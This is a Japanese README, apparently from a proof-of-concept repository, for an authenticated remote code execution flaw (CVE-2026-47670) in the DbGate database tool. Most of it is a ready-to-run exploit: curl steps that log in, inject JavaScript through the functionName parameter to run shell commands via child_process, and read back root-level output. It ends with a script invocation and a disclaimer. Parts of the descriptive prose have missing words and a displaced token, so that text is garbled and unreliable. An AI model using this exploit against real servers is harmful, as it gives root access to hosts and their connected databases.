error-inside/cve-2026-47670DbGate の loadReader 関数名コードインジェクションを介した認証済みリモートコード実行
DbGate の loadReader の functionName コードインジェクションによる認証済みリモートコード実行
DbGate は、複数のデータベースシステムを同時に扱う必要がある開発者やデータベース管理者向けのオープンソース・クロスプラットフォームデータベース管理ツールです。MySQL、PostgreSQL、SQL Server、MongoDB、SQLite、Oracle などを含む、SQL データベースと NoSQL データベースの両方を管理するための統一された Web ベースおよびデスクトップインターフェースを提供し、異なるクライアントアプリケーションを切り替える必要はありません。DbGate は Windows、macOS、Linux 上でスタンドアロンのデスクトップアプリケーションとして動作するか、Docker を介して Web アプリケーションとしてデプロイできるため、チーム環境やリモートデータベース管理シナリオで人気があります。
CVE-2026-47670 は、DbGate のバージョン 7.1.9 未満 に影響する 認証済みリモートコード実行 (RCE) の脆弱性です。この欠陥は /runners/load-reader エンドポイントに存在し、functionName パラメータが適切なサニタイズなしに安全でないコード実行パスに渡されます。有効な DbGate 認証情報を持つ攻撃者は、このパラメータを介して任意の JavaScript コードを注入でき、サーバー上で root 権限 で 実行 されます。この脆弱性は、アプリケーションの require = null による緩和策が、動的な 文を使用することで簡単に回避できるため特に危険であり、攻撃者は したり、 させたり、接続されているデータベースサーバーにピボットしたり、ホストシステム全体を完全に侵害したりすることが可能です。
import()# Step 1 — authenticate and obtain Bearer token
curl -s -X POST http://example.com/auth/login \
-H 'Content-Type: application/json' \
-d '{"amoid":"logins","login":"admin","password":"admin"}' | grep accessToken
# RESPONSE
# ========
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y"}
# Step 2 — inject via functionName (replace TOKEN and /tmp/_dbg_poc.jsonl)
curl -s -X POST http://example.com/runners/load-reader \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"functionName":"csvReader\nvar _f=await import(\"fs\");var _c=await import(\"child_process\");var _o=_c.execSync(\"id\").toString().trim();_f.writeFileSync(\"/tmp/_dbg_poc.jsonl\",JSON.stringify({__isStreamHeader:true,columns:[{columnName:\"out\"}]})+String.fromCharCode(10)+JSON.stringify({out:\"CANARY \"+_o})+String.fromCharCode(10));//","props":{}}'
# RESPONSE
# ========
{"apiErrorMessage":"The \"body\" argument must be of type function or an instance of Blob, ReadableStream, WritableStream, Stream, Iterable, AsyncIterable, or Promise or { readable, writable } pair. Received undefined"}
# Step 3 — read back command output
curl -s -X POST http://example.com/jsldata/get-rows \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"jslid":"file:///tmp/_dbg_poc.jsonl","offset":0,"limit":100}'
# RESPONSE
# ========
[{"out":"CANARY uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}]
python CVE-2026-47670-X7.py
このリポジトリとその内容は、正当なセキュリティ研究、許可された侵入テスト、教育目的の学習、および防御目的のために厳密に提供されています。この資料にアクセスまたは使用することにより、あなたはすべての適用法令に従って活動を実施し、所有していないシステムに対してテストやこれらの手法を適用する前に適切な許可を得ていることを完全に認識するものとします。
このプロジェクトの著者およびメンテナーは、本情報の適用に起因するいかなる損害、法的影響、または悪用についても一切の責任を負いません。許可されていないアクセス、悪意のある活動、または違法な目的での使用は明示的に禁止されており、サポートされません。
責任を持って使用してください。法令を遵守してください。自分が所有しているか、明示的な書面による許可を得たもののみをテストしてください。
SCT-PL